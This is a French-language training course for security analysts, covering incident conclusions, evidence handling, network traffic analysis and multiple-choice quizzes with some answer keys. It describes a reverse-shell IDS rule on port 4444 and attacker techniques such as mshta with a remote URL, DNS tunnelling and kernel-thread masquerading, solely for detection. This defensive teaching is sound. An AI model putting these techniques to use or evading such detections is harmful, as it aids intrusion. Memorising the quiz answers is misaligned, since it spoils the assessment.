Teste activement une autre explication, comme une modification ou une sauvegarde approuvée. Le biais de confirmation apparaît lorsqu’un analyste ne recueille que les faits qui correspondent au premier diagnostic. Une chronologie devient plus utile lorsque chaque lien incertain indique les preuves qui le renforceraient ou l’affaibliraient.

Points clés

  • Normalise les horodatages en UTC et conserve les fuseaux des sources et les décalages d’horloge.
  • Relie les instances de processus, les attributions d’adresses et les autres identités au moment de l’événement.
  • Distingue les événements observés des liens de causalité proposés.
  • N’applique les correspondances ATT&CK que lorsque le comportement qui les étaye est observé.
  • Utilise les lacunes et les explications concurrentes pour choisir les recherches de preuves supplémentaires.

5.2 Formule une conclusion et consigne les résultats

Une conclusion indique ce que les preuves étayent, ton niveau de confiance et ce qui doit se passer ensuite. Le dossier d’incident doit permettre à un autre analyste de reproduire l’investigation. Le seul classement d’une alerte comme grave ne fournit ni conclusion ni niveau de confiance défendable.

Classe le constat

Un vrai positif alerte correctement sur une activité malveillante. Un faux positif alerte sur une activité qui ne correspond pas à ce que la détection devait trouver. Un vrai positif bénin détecte correctement un comportement réel mais autorisé, comme un test d’intrusion planifié. Un faux négatif est une activité malveillante qui a été manquée. Utilise « non concluant » lorsque les preuves ne permettent pas encore de trancher et indique les données manquantes.

Vérifie si le comportement correspond à l’hôte et à l’utilisateur, s’il était autorisé, quelle est sa fréquence et si des sources indépendantes concordent. Indique un niveau de confiance élevé, moyen ou faible avec des raisons précises. Le niveau de confiance décrit la solidité du constat ; la gravité décrit son impact et son urgence.

Une commande PowerShell encodée, lancée par un agent de déploiement signé sur 3 000 hôtes pendant une fenêtre approuvée, se décode en une installation autorisée. C’est un vrai positif bénin lorsque la règle détecte correctement du PowerShell encodé. Le même schéma lancé par Word sur un hôte, qui contacte un domaine vieux de deux jours et crée une persistance, étaye une conclusion d’activité malveillante avec un niveau de confiance élevé.

Rédige une transmission reproductible

Consigne une brève synthèse, une chronologie en UTC, les hôtes et comptes touchés, les indicateurs neutralisés, les techniques ATT&CK étayées, la conclusion et le niveau de confiance. Inclus les requêtes, les identifiants d’alerte, les emplacements des preuves et les empreintes des fichiers pour qu’un autre analyste puisse retrouver les mêmes enregistrements. Énumère les actions déjà entreprises et les prochaines étapes recommandées.

Explique pourquoi une alerte est clôturée. Si une détection se déclenche à répétition sur une activité en dehors de son objectif, fournis aux ingénieurs de détection des exemples et du contexte pour le réglage. Une clôture inexpliquée masque à la fois les attaques manquées et les efforts répétés en vain.

Partage les indicateurs avec leur contexte

Associe une date d’expiration ou de révision aux indicateurs de domaines et d’adresses IP, car leur propriétaire et leur utilisation changent. Évite les blocages sans discernement d’infrastructures partagées comme les réseaux de diffusion de contenu. Les empreintes exactes identifient une version d’un fichier, tandis que les détections fondées sur le comportement peuvent repérer des variantes. Préserve le lien entre un indicateur, son comportement observé et son niveau de confiance lorsque tu le partages.

Préserve les preuves et procède à l’escalade

Transmets un constat malveillant confirmé conformément au scénario de réponse aux incidents, avec une gravité fondée sur les actifs touchés et l’impact. Préserve les messages originaux, les captures, les exports des terminaux et les échantillons recueillis. Consigne l’empreinte SHA-256 de chaque fichier ainsi que la personne qui l’a recueilli ou transféré et le moment de l’opération. Ces enregistrements de traçabilité documentent la manipulation des preuves ; l’empreinte permet de vérifier leur intégrité.

L’isolement par l’EDR est généralement préférable à la mise hors tension, car il restreint les communications tout en conservant la mémoire et un accès de gestion. L’arrêt forcé des processus et le redémarrage modifient aussi les preuves volatiles. Suis les priorités d’endiguement du scénario de réponse, recueille ce dont le dossier a besoin et consigne le moment de chaque action de réponse pour que les analystes suivants puissent distinguer l’activité de l’attaquant de la réponse.

Points clés

  • Distingue les détections malveillantes, les comportements autorisés détectés et les erreurs de détection.
  • Justifie le niveau de confiance par les preuves et la gravité par l’impact.
  • Inclus les requêtes et les références aux preuves nécessaires pour reproduire la conclusion.
  • Accompagne les indicateurs partagés de leur contexte et de dates de révision.
  • Préserve les originaux, les empreintes et les enregistrements de traçabilité lors de l’escalade.

Analyse de l’activité réseau : exemples

5 Leçons Interactives

1

Suis un poste de travail, de la capture à la conclusion sur le trafic

17 étapes
Choisis les preuves, reconstitue un échange et vérifie un schéma réseau suspect.
  1. 1
    IntroductionTrouve l’origine du trafic

    Un poste de travail a commencé à contacter un nouveau serveur et une alerte réseau évoque un possible interpréteur de commandes inversé. Tu choisiras un point de capture utile, liras l’échange, vérifieras son volume sur une période plus longue et examineras ce à quoi l’alerte correspondait. Les captures de paquets montrent le contenu, tandis que les enregistrements de flux ne conservent que les participants, les horaires et les volumes, mais remontent plus loin dans le temps.

    Garde deux questions distinctes tout au long de l’investigation : ce que le capteur a observé et ce que cette observation permet de conclure sur le poste de travail.

  2. 2
    ExplicationPlace le capteur sur le trajet

    Une capture à la frontière avec Internet peut voir la connexion externe du poste de travail, mais elle manque le trafic qui reste à l’intérieur d’un commutateur. Une capture à l’extérieur du NAT nécessite aussi les enregistrements de traduction pour retrouver la source interne.

    Choisis une capture sur l’hôte ou un flux TAP/SPAN correctement placé selon la question posée. La capacité compte : réunir les deux sens d’une liaison chargée peut dépasser la capacité d’un port de surveillance et entraîner des pertes de paquets.

  3. 3
    ExempleEnregistre le trafic de l’hôte

    Pour ce dossier, capture le trafic du poste de travail à l’adresse 192.168.1.50 sur eth0 :

    sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
    

    Les options sélectionnent l’interface, évitent les recherches de noms, conservent les paquets entiers et enregistrent les données brutes. Le filtre d’hôte conserve les deux sens ; l’exclusion du port 22 retire la session distante de l’analyste lorsqu’elle utilise ce port.

  4. 4
    DéfiRetrouve un protocole exclu

    Supposons qu’une capture ait utilisé host 192.168.1.50 and tcp port 443. Un filtre d’affichage appliqué ensuite peut-il révéler les paquets UDP de cet hôte sur le port 443 ?

    ---reveal---

    Non. Le filtre de capture a exclu UDP avant l’enregistrement : un filtre d’affichage n’a donc rien à révéler. UDP sur le port 443 peut comprendre QUIC. Vérifie une autre source ou effectue une capture avec un filtre plus large adapté ; préserve la première capture avec son intervalle de temps et ses statistiques de perte.

  5. 5
    ExempleIdentifie le client

    L’échange enregistré commence par 192.168.1.50:51544 → 203.0.113.80:443 SYN. Le serveur renvoie SYN-ACK vers le port 51544, puis le client envoie ACK.

    Le poste de travail a initié la connexion. Le port élevé identifie ce point de terminaison côté client ; la réponse inverse la paire. Un numéro de port suggère le service attendu, mais la négociation seule ne dit rien de l’application transportée.

  6. 6
    ExempleLis le contenu renvoyé

    Suis le flux TCP du téléchargement en clair. La requête indique /update.php?id=WS-0423 et Host: cdn-update.example.net. La réponse réussit et son corps commence par MZ.

    La réponse semble fournir un exécutable, même si le chemin se termine par .php. Exporte l’objet pour vérifier son type, son empreinte et sa signature. Le chemin de l’URL est une cible de requête, pas une garantie quant au format du fichier renvoyé.

  7. 7
    ExplicationSache quels détails TLS sont visibles

    Si un échange ultérieur utilise TLS, la charge utile est chiffrée en l’absence de secrets de session adaptés ou d’un point d’inspection. Les horaires et les tailles en octets restent utiles. Un Client Hello visible peut fournir le SNI et une empreinte.

    ECH peut masquer le nom demandé. TLS 1.3 chiffre aussi le certificat du serveur, contrairement à TLS 1.2. Consigne ce que cette capture expose réellement avant de déterminer quelles preuves relatives au nom ou au certificat manquent.

  8. 8
    DéfiVérifie l’association à un domaine

    DNS a renvoyé 198.51.100.7 pour un domaine suspect et l’hôte s’est connecté à cette adresse IP. Qu’est-ce qui renforcerait l’association avec le domaine ?

    ---reveal---

    Un en-tête HTTP Host, un SNI TLS visible, un enregistrement du proxy ou un événement du terminal mentionnant ce domaine la renforcerait. D’autres domaines peuvent partager cette adresse IP. La séquence est une piste utile, mais attribuer chaque connexion à cette adresse à un seul domaine revient à omettre une vérification d’identité nécessaire.

  9. 9
    AnalogieUtilise la facture détaillée du trafic

    Un enregistrement de flux ressemble à une facture téléphonique détaillée : les participants, les horaires et les volumes sont conservés, mais pas les mots de la conversation. Il est utile pour rechercher sur une période plus longue que celle couverte habituellement par une capture complète.

    Trouve d’abord l’hôte suspect et l’intervalle dans l’historique des flux. Récupère ensuite les paquets de l’échange précis s’ils existent, en distinguant les mesures de trafic des preuves relatives au contenu.

  10. 10
    ExempleReconstitue la connexion mesurée

    Une connexion peut avoir des enregistrements de flux aller et retour distincts, ainsi que des fragments dus aux délais d’expiration. Associe les adresses et les ports dans l’ordre inverse, conserve le protocole et regroupe les fragments appartenant à cet échange.

    Additionne séparément les octets sortants et entrants. Mesure le temps entre le premier début et la dernière fin. Additionner les durées de sens qui se chevauchent peut faire paraître une connexion de 40 minutes comme durant 80 minutes.

  11. 11
    ExempleCalcule le volume et le débit

    L’hôte envoie 2,4 Go et reçoit 12 Mo entre 2 h 10 et 2 h 50 UTC. Convertis le volume envoyé en 2 400 Mo : le rapport entre les volumes sortant et entrant est de 200:1.

    L’intervalle est de 2 400 secondes : le débit sortant moyen est donc de 1 Mo/s, soit 8 Mbit/s. Ce sont des mesures. Le jugement suivant les compare au rôle de l’hôte, au trafic de sauvegarde attendu, à l’historique de la destination et au processus responsable.

  12. 12
    DéfiInterprète un champ d’octets vide

    Zeek enregistre l’état TCP S0, un paquet émis par l’initiateur et zéro octet de charge utile. Faut-il écarter cette tentative comme une absence de trafic ?

    ---reveal---

    Non. L’enregistrement décrit une tentative observée sans réponse. Un SYN ne transporte aucune charge utile applicative : zéro octet de charge utile correspond donc aux paquets observés. Les exportateurs de flux qui incluent les en-têtes IP peuvent indiquer un nombre d’octets non nul pour la même tentative ; compare le sens des champs avant de comparer les totaux.

  13. 13
    ExempleMesure l’intervalle répété

    Des connexions ont lieu à 10:00:00, 10:05:02, 10:09:59, 10:15:01 et 10:20:00. Les intervalles sont de 302, 297, 302 et 299 secondes, soit une moyenne de 300 secondes.

    De petits transferts similaires à ce rythme suggèrent une minuterie logicielle. Vérifie le processus et la destination avant de conclure à une commande et un contrôle ; les logiciels de mise à jour approuvés se répètent aussi. Une dispersion plus large pourrait être une gigue ajoutée à une minuterie : une régularité parfaite n’est donc pas nécessaire.

  14. 14
    ExplicationLis la condition réelle de l’IDS

    Une règle déclenche une alerte sur le trafic TCP de $HOME_NET vers le port 4444 de $EXTERNAL_NET avec flow:to_server,established. Son message indique « Possible reverse shell ».

    La connexion établie et son sens sont des conditions vérifiées par la règle. Les commandes d’un interpréteur ne figurent pas parmi ces conditions. Lis sid et la révision pour identifier la règle, puis examine les paquets et le processus sur le terminal pour déterminer ce que signifiait le trafic correspondant.

  15. 15
    DéfiVérifie l’autorisation du balayage

    Un hôte sonde de nombreux ports sur un serveur, produisant principalement des REJ et des S0. Que faut-il vérifier avant de classer cette activité comme un balayage par un attaquant ?

    ---reveal---

    Vérifie l’inventaire des scanneurs approuvés et le calendrier des tests. Ce schéma est un balayage vertical, mais un scan de vulnérabilités autorisé peut aussi le produire. Une adresse source correspondante n’est utile que si son attribution actuelle et le moment du test correspondent aussi à l’autorisation.

  16. 16
    DéfiRelie les indices réseau

    La nouvelle destination présente des contacts périodiques, un transfert sortant nocturne volumineux et une alerte fondée sur un port. Quelles preuves doivent permettre de déterminer si ces éléments appartiennent à une même chaîne d’activité malveillante ?

    ---reveal---

    Utilise les instances de processus du terminal pour attribuer les connexions, puis examine le protocole et le contexte de la destination. Compare le transfert aux activités approuvées. Une seule adresse IP commune et un message de règle laissent ouverte la possibilité d’un trafic sans rapport ou d’une infrastructure partagée : ils ne suffisent donc pas à établir une commande et un contrôle et un vol.

  17. 17
    RécapitulatifTransmets les preuves

    Tu disposes maintenant d’une capture dont le point d’observation est connu, d’un échange reconstitué, de mesures de trafic par sens et d’une interprétation vérifiée de l’alerte. La transmission doit conserver les paquets pertinents, les horodatages d’origine, les empreintes et les références des requêtes.

    Si le trafic reste suspect, le pivot d’investigation le plus utile consiste à rechercher sur le terminal le processus qui l’a produit : ce processus peut relier le schéma réseau à une exécution, à des fichiers et à une persistance.

2

Analyse un message de fournisseur signalé

13 étapes
Lis les en-têtes fiables, examine une demande de paiement et détermine le périmètre des destinataires touchés.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionCommence par le message original
  2. 2
    ExplicationDistingue les champs de l’expéditeur
  3. 3
    ConseilTrouve la limite de confiance
  4. 4
    ExempleCompare les domaines ayant réussi
  5. 5
    DéfiUtilise une signature alignée préservée
  6. 6
    ExempleExamine l’action demandée
  7. 7
    ExplicationLis l’hôte réel d’un lien
  8. 8
    DéfiChoisis une vérification indépendante
  9. 9
    ExempleDécode une URL personnalisée
  10. 10
    ExplicationRecherche séparément la remise et l’interaction
  11. 11
    DéfiDétermine le périmètre au-delà de l’auteur du signalement
  12. 12
    DéfiDétermine quelles preuves font évoluer le dossier
  13. 13
    RécapitulatifTransmets le périmètre et l’impact
3

Retrace l’exécution et trouve les moyens de son retour

16 étapes
Suis l’arbre des processus d’un document, examine la persistance et relie les modifications de l’hôte à un incident.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionSuis l’historique de l’hôte
  2. 2
    ExplicationVérifie la télémétrie
  3. 3
    DéfiDistingue les instances de processus
  4. 4
    ExempleLis l’ascendance
  5. 5
    ExplicationDécode le texte de la commande
  6. 6
    DéfiÉvalue un outil signé
  7. 7
    ExempleLis le déclencheur à l’ouverture de session
  8. 8
    ExempleExamine l’action planifiée
  9. 9
    ExplicationRecherche au-delà de deux emplacements
  10. 10
    DéfiTraite deux voies de persistance
  11. 11
    ExempleLis la date d’un fichier d’apparence ancienne
  12. 12
    ExplicationTrouve les modifications des défenses
  13. 13
    DéfiRelie une archive à un transfert sortant
  14. 14
    LienUtilise l’inventaire pour obtenir du contexte
  15. 15
    DéfiChoisis un endiguement qui préserve les preuves
  16. 16
    RécapitulatifDécris la chaîne sur l’hôte
4

Transforme un fichier suspect en constats vérifiables

14 étapes
Combine la réputation du fichier exact, les indices statiques et une exécution contrôlée en bac à sable.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionPose une question différente à chaque méthode
  2. 2
    ExempleConsigne l’identifiant exact du contenu
  3. 3
    ExplicationLis le rapport au-delà de son rapport de détection
  4. 4
    DéfiInterprète un fichier signé inconnu
  5. 5
    ExempleVérifie le format réel du fichier
  6. 6
    ExempleExtrais les deux formes de texte
  7. 7
    ExplicationCombine les indices de compression
  8. 8
    DéfiLis une règle YARA à conditions conjointes
  9. 9
    ExplicationAdapte l’environnement d’exécution
  10. 10
    ExempleExtrais les comportements et les artefacts
  11. 11
    DéfiExplique une exécution inactive
  12. 12
    DéfiDistingue le comportement du mode de transmission
  13. 13
    LienRecherche à l’aide d’indices durables
  14. 14
    RécapitulatifDistingue les capacités des observations
5

Établis et transmets un constat d’incident défendable

11 étapes
Aligne les preuves, vérifie les liens de causalité et consigne une conclusion avec son niveau de confiance.

Enregistre cette unité pour suivre chaque Leçon Interactive pas à pas.

  1. 1
    IntroductionRends les preuves vérifiables
  2. 2
    ExempleConvertis l’heure de la console
  3. 3
    ExplicationVérifie à qui l’adresse était attribuée
  4. 4
    ExempleConstruis la séquence observée
  5. 5
    DéfiVérifie une conclusion fondée sur une adresse IP commune
  6. 6
    Point cléLaisse ATT&CK décrire ce qui a été observé
  7. 7
    ExplicationDistingue la détection de l’autorisation
  8. 8
    DéfiClasse un déploiement approuvé
  9. 9
    ExempleRédige la conclusion et la transmission
  10. 10
    DéfiGarde une conclusion finale proportionnée
  11. 11
    RécapitulatifLaisse un dossier que d’autres peuvent poursuivre

Analyse de l’activité réseau : QCM

50 Questions Pratiques en 5 séries

Série 1 : Lis le trafic et vérifie l’alerte10 Questions Pratiques

Question 1 sur 10

Un analyste veut modifier les paquets affichés par Wireshark sans écarter les preuves enregistrées. Quel type de filtre lui faut-il ?
  1. Un filtre de capture appliqué à la capture enregistrée
  2. Un filtre d’affichage appliqué à la capture enregistrée
  3. Un filtre BPF fourni avant l’enregistrement des paquets
  4. Un filtre d’interface qui limite le flux de capture
Afficher la réponseMasquer la réponse
Réponse : B
Un filtre d’affichage modifie la sélection visible tout en laissant disponibles les paquets enregistrés. Un filtre de capture détermine ce qui est conservé pendant la collecte : le trafic exclu ne peut donc pas être récupéré ensuite en changeant l’affichage. Les deux filtres utilisent aussi des syntaxes différentes.

Question 2 sur 10

Un capteur situé à l’extérieur d’une passerelle NAT enregistre une connexion sortante suspecte provenant de l’adresse publique partagée. Que doit utiliser l’analyste pour identifier l’hôte interne à ce moment-là ?
  1. L’inventaire le plus récent sans historique des attributions
  2. Le titulaire de l’adresse IP publique sans correspondance des ports
  3. La correspondance DNS actuelle du serveur distant
  4. Les enregistrements NAT de la connexion publique à l’heure voulue
Afficher la réponseMasquer la réponse
Réponse : D
L’enregistrement de traduction de la passerelle relie la connexion publique observée à son point de terminaison interne au moment de l’événement. Un bail DHCP actuel ne fournit pas cette traduction et une adresse peut avoir changé de titulaire. Inclus les ports et les horaires afin de distinguer les connexions simultanées.

Question 3 sur 10

Un échange TCP commence par 10.8.0.14:53720 → 203.0.113.62:8443 SYN. Quel point de terminaison a initié la connexion ?
  1. 10.8.0.14 utilisant le port source 53720
  2. 203.0.113.62 utilisant le port de service 8443
  3. 10.8.0.14 utilisant le port destination 8443
  4. 203.0.113.62 utilisant le port destination 53720
Afficher la réponseMasquer la réponse
Réponse : A
L’expéditeur du SYN initial est l’initiateur : le client est donc 10.8.0.14 sur le port 53720. Dans ce paquet, le port destination appartient au point de terminaison du service. Une réponse inverserait les paires d’adresses et de ports, ce qui pourrait sinon faire passer le serveur pour l’initiateur.

Question 4 sur 10

Une requête GET en clair pour /status.asp reçoit une réponse commençant par 4D 5A. Que doit en déduire l’analyste et que doit-il vérifier ensuite ?
  1. Un script serveur est présent ; déduire son type de .asp
  2. Un exécutable est peut-être présent ; examiner sa structure et son empreinte
  3. Un PDF est présent ; déduire son type du nom de l’objet
  4. Une page Web est présente ; privilégier l’URL au corps
Afficher la réponseMasquer la réponse
Réponse : B
Les premiers octets représentent MZ, une signature courante d’exécutable Windows : examine donc la structure et l’empreinte de l’objet récupéré. L’URL .asp désigne le chemin de la requête, pas le format du fichier renvoyé. Considère cette différence de type comme une piste d’investigation et relie la requête à son processus sur le terminal.

Question 5 sur 10

Quel type de preuve est normalement absent d’un enregistrement de flux réseau ?
  1. Les ports de transport source et destination
  2. Les horodatages de début et de fin enregistrés
  3. La charge utile applicative transportée par les paquets
  4. Les compteurs d’octets et de paquets par sens
Afficher la réponseMasquer la réponse
Réponse : C
Un enregistrement de flux résume la communication à l’aide de champs comme les adresses, les ports, les horaires et les nombres observés, sans préserver la charge utile applicative. Les totaux d’octets décrivent le volume de trafic observé, pas les mots ou les fichiers qu’il contenait. Récupère des preuves issues des paquets ou des applications lorsque le contenu est nécessaire.

Question 6 sur 10

Entre 1 h 10 et 1 h 40 UTC, un poste de travail envoie 900 Mo et reçoit 9 Mo. Quels sont le rapport entre les volumes sortant et entrant et le débit sortant moyen ?
  1. 100:1 et 4 Mbit/s
  2. 100:1 et 0,5 Mbit/s
  3. 10:1 et 4 Mbit/s
  4. 100:1 et 24 Mbit/s
Afficher la réponseMasquer la réponse
Réponse : A
Diviser 900 Mo par 9 Mo donne 100:1. Trente minutes correspondent à 1 800 secondes : le débit est donc de 0,5 Mo/s, soit 4 Mbit/s après multiplication par huit. Indiquer 0,5 Mbit/s revient à confondre les octets par seconde et les bits par seconde ; le rapport des volumes ne nécessite pas cette conversion.

Question 7 sur 10

Quatre enregistrements de flux non échantillonnés appartiennent à une même connexion TCP : sens sortant de 4 h à 4 h 06, 90 Mo ; sens sortant de 4 h 06 à 4 h 12, 150 Mo ; sens inverse de 4 h à 4 h 08, 2 Mo ; sens inverse de 4 h 08 à 4 h 12, 6 Mo. Quels sont son rapport entre les volumes sortant et entrant et son débit sortant moyen ?
  1. 30:1 et environ 1,33 Mbit/s
  2. 15:1 et environ 2,67 Mbit/s
  3. 30:1 et environ 0,33 Mbit/s
  4. 30:1 et environ 2,67 Mbit/s
Afficher la réponseMasquer la réponse
Réponse : D
Le total sortant est de 240 Mo et le total inverse de 8 Mo, soit 30:1. L’intervalle complet est de 12 minutes, soit 720 secondes : le débit sortant est donc d’environ 0,333 Mo/s, soit 2,67 Mbit/s. Additionner les durées des deux sens double le temps écoulé et divise à tort le débit par deux.

Question 8 sur 10

Un hôte contacte le port 3389 de 70 autres postes de travail en peu de temps. Quel schéma réseau l’analyste doit-il examiner ?
  1. Sondage vertical de nombreux services sur un hôte
  2. Tunnel DNS par une série de noms de requête distincts
  3. Sondage horizontal d’un service RDP sur plusieurs hôtes
  4. Exfiltration massive par de nombreux transferts de corps de réponse
Afficher la réponseMasquer la réponse
Réponse : C
Le port destination reste le même tandis que les cibles changent : il s’agit d’un sondage horizontal ; 3389 indique couramment RDP. Un balayage vertical changerait de port sur une seule cible. Vérifie l’autorisation et le processus source, car ce schéma peut étayer une investigation sur un déplacement latéral sans en établir à lui seul le but.

Question 9 sur 10

Un poste de travail effectue de courts échanges TCP toutes les 238 à 242 secondes et une règle IDS les qualifie de « Possible shell ». La règle ne vérifie que le trafic sortant établi vers le port 4444. L’EDR les attribue à un agent de surveillance signé et approuvé, et la destination correspond à son collecteur documenté. Quelle conclusion convient à ce déclenchement de règle ?
  1. Un vrai positif malveillant pour un interpréteur inversé vérifié
  2. Un vrai positif bénin pour le trafic de l’agent autorisé
  3. Un faux positif parce que l’agent était autorisé
  4. Un balayage non concluant parce que les intervalles varient légèrement
Afficher la réponseMasquer la réponse
Réponse : B
Le trafic établi correspond à la règle, tandis que le processus et la destination documentée expliquent une utilisation autorisée. Cela étaye un vrai positif bénin pour les conditions réelles de la règle. Le message ne prouve pas l’exécution d’un interpréteur de commandes et la régularité indique une automatisation sans la rendre malveillante.

Question 10 sur 10

Un hôte effectue des milliers de requêtes DNS avec de longues parties distinctes d’apparence encodée sous un même domaine parent. Que doit examiner l’analyste en premier ?
  1. Un DGA possible ; traiter ces parties comme des domaines en échec
  2. Une énumération possible ; supposer des requêtes de service lisibles
  3. Une résolution habituelle ; considérer le parent commun comme une autorisation
  4. Un tunnel DNS possible ; examiner le processus d’origine
Afficher la réponseMasquer la réponse
Réponse : D
De nombreuses longues parties distinctes sous un même domaine parent correspondent à un possible tunnel DNS transportant des fragments de données. Vérifie le volume des requêtes, les types d’enregistrements et le processus responsable. Un DGA essaie plus souvent de nombreux noms de domaine générés, produisant fréquemment des réponses NXDOMAIN ; ce schéma d’échec n’est pas indiqué ici.
Série 2 : Retrace les identités des courriels et l’étendue de la campagne10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Quelle adresse du message fournit le domaine protégé par l’alignement DMARC ?
  1. L’adresse de non-remise dans l’en-tête Return-Path
  2. La destination des réponses dans l’en-tête Reply-To
  3. L’adresse visible dans l’en-tête From
  4. Le nom du relais dans l’en-tête Received le plus récent
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Un message indique From accounts@example.org, une réussite SPF pour bounce.mailer.example.net et une réussite DKIM pour example.org. Quel est le résultat DMARC avec un alignement strict ?
  1. Réussite, car le domaine DKIM valide correspond exactement à From
  2. Échec, car le domaine SPF valide diffère de From
  3. Réussite, car SPF et DKIM ont réussi pour un domaine
  4. Échec, car l’alignement strict exige que les deux méthodes soient alignées
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Un message original contient en bas une ligne Received qui affirme provenir d’un relais de fournisseur fiable et en haut une ligne écrite par la passerelle de l’organisation montrant une adresse IP de connexion sans rapport. Un Authentication-Results fourni par l’expéditeur indique une réussite ; le résultat propre de la passerelle indique un échec DMARC. Quelles preuves doivent fonder le constat technique sur l’origine ?
  1. Le plus ancien relais déclaré et la réussite fournie par l’expéditeur
  2. Le plus ancien relais déclaré et l’échec fourni par la passerelle
  3. L’adresse IP enregistrée par la passerelle et la réussite fournie par l’expéditeur
  4. L’adresse IP enregistrée par la passerelle et son résultat d’authentification
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

Un message légitime transféré échoue à SPF mais réussit DKIM sans modification, avec un alignement souple sur From. Comment expliquer le résultat DMARC ?
  1. DMARC échoue, car le changement de trajet invalide DKIM
  2. DMARC réussit grâce à DKIM aligné malgré l’échec SPF
  3. DMARC réussit, car le transfert désactive les vérifications d’alignement
  4. DMARC échoue, car les deux méthodes doivent réussir après transfert
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un lien est https://portal.example.org@203.0.113.88/session. Quel est son hôte ?
  1. portal.example.org
  2. 203.0.113.88
  3. example.org
  4. 203.0.113.88/session
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

Une véritable boîte aux lettres de fournisseur demande un nouveau compte de paiement et fournit un numéro de téléphone pour vérification. Quelle action vérifie le changement de manière indépendante ?
  1. Appeler le numéro fourni et demander à l’expéditeur de répéter le changement
  2. Répondre dans le fil existant et demander une confirmation à la même boîte
  3. Accepter la demande après avoir vérifié la réussite DMARC du fournisseur
  4. Appeler le fournisseur à un numéro déjà présent dans les dossiers
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 7 sur 10

Une demande de changement bancaire arrive dans un véritable fil de fournisseur, réussit l’authentification alignée et ne contient ni URL ni fichier. Le fournisseur confirme à son numéro habituel qu’il n’a envoyé aucune demande de changement. Quel constat est le mieux étayé ?
  1. Fraude au courriel professionnel dans le fil réel ; examiner la boîte aux lettres
  2. Usurpation du domaine From ; ignorer l’authentification alignée
  3. Changement approuvé ; privilégier le fil malgré le démenti
  4. Erreur sans danger ; clore car aucune charge utile n’a été envoyée
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 8 sur 10

Un paramètre d’URL décodé contient l’adresse électronique d’un destinataire. Que faut-il faire avant une analyse publique approuvée ?
  1. Préserver l’original et soumettre le lien sans modification
  2. Préserver l’original et neutraliser seulement l’hôte du lien
  3. Préserver l’original et retirer les paramètres identifiants
  4. Préserver l’original et réencoder l’adresse en Base64
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 9 sur 10

Les journaux de messagerie montrent 28 destinataires d’une campagne, les journaux du proxy montrent quatre visiteurs et les journaux de comptes montrent une session inhabituelle immédiatement après qu’un visiteur a saisi ses identifiants. Aucune pièce jointe n’était présente. Quel périmètre de réponse découle de ces enregistrements ?
  1. Supprimer les copies, examiner les visiteurs et endiguer la menace sur le compte touché
  2. Supprimer les copies et examiner seulement le destinataire à l’origine du signalement
  3. Réinitialiser tous les destinataires comme compromis confirmés, puis clore
  4. Supprimer les copies et bloquer l’URL, sans examiner les comptes
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 10 sur 10

Deux courriels ont des objets et des noms de pièces jointes différents, mais des empreintes SHA-256 identiques pour leurs pièces jointes. Quelle recherche utile permet de déterminer le périmètre ?
  1. Rechercher seulement le premier objet vu par l’utilisateur ayant signalé le message
  2. Rechercher seulement le dernier nom donné à la pièce jointe
  3. Rechercher l’empreinte commune dans les enregistrements de messagerie et des terminaux
  4. Traiter les objets et noms modifiés comme des campagnes distinctes
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Série 3 : Suis l’exécution et la persistance sur les terminaux10 Questions Pratiques

Enregistre cette unité pour voir chaque réponse et t'entraîner sur chaque série.

Question 1 sur 10

Quel événement Sysmon fournit des informations détaillées sur la création d’un processus et un GUID de processus ?
  1. Événement 3
  2. Événement 11
  3. Événement 22
  4. Événement 1
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 2 sur 10

Les enregistrements réseau montrent qu’un hôte effectue un transfert sortant pendant un intervalle de 20 minutes. Sa console EDR ne contient aucun événement, l’agent a transmis ses dernières données deux heures auparavant et la collecte des connexions Sysmon est désactivée. Quelles conclusion et prochaine étape correspondent aux preuves ?
  1. Le transfert est bénin ; une protection du terminal fonctionnelle aurait sinon généré une alerte
  2. L’attribution sur le terminal manque ; préserver les preuves réseau et examiner la lacune du capteur
  3. Le terminal était hors ligne ; l’enregistrement réseau doit donc relever d’un autre fuseau horaire
  4. Le transfert est malveillant ; la collecte désactivée prouve une altération par un attaquant
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 3 sur 10

Quel encodage de texte PowerShell EncodedCommand utilise-t-il pour ses octets décodés du Base64 ?
  1. UTF-16LE
  2. UTF-8
  3. ASCII
  4. UTF-16BE
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 4 sur 10

L’EDR montre que WINWORD.EXE lance mshta.exe, dont la signature est valide, avec une URL distante. Qu’est-ce qui rend cet appel suspect malgré la signature valide ?
  1. Une signature valide rend l’appel distant approuvé
  2. Une URL distante établit le vol du certificat de signature
  3. Le document parent et les arguments distants suggèrent un détournement de LOLBin
  4. Un nom d’outil système établit la présence d’un exécutable intégré au document
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 5 sur 10

Un processus Linux s’appelle [kworker/3:2]. Il s’exécute en tant qu’utilisateur ordinaire, descend d’un interpréteur de commandes et /proc/<pid>/exe pointe vers un fichier supprimé dans /dev/shm. Comment interpréter ces indices ?
  1. Un véritable fil d’exécution du noyau a été renommé après une mise à jour système habituelle en mémoire
  2. Un processus utilisateur se fait passer pour un fil d’exécution du noyau et doit être examiné
  3. Un véritable fil d’exécution du noyau a été supprimé sans risque avec son exécutable
  4. Un interpréteur utilisateur affiche seulement un processus du noyau dont le parent a nécessairement le PID 2
Afficher la réponseMasquer la réponse

Enregistre cette unité pour voir cette réponse.

Question 6 sur 10

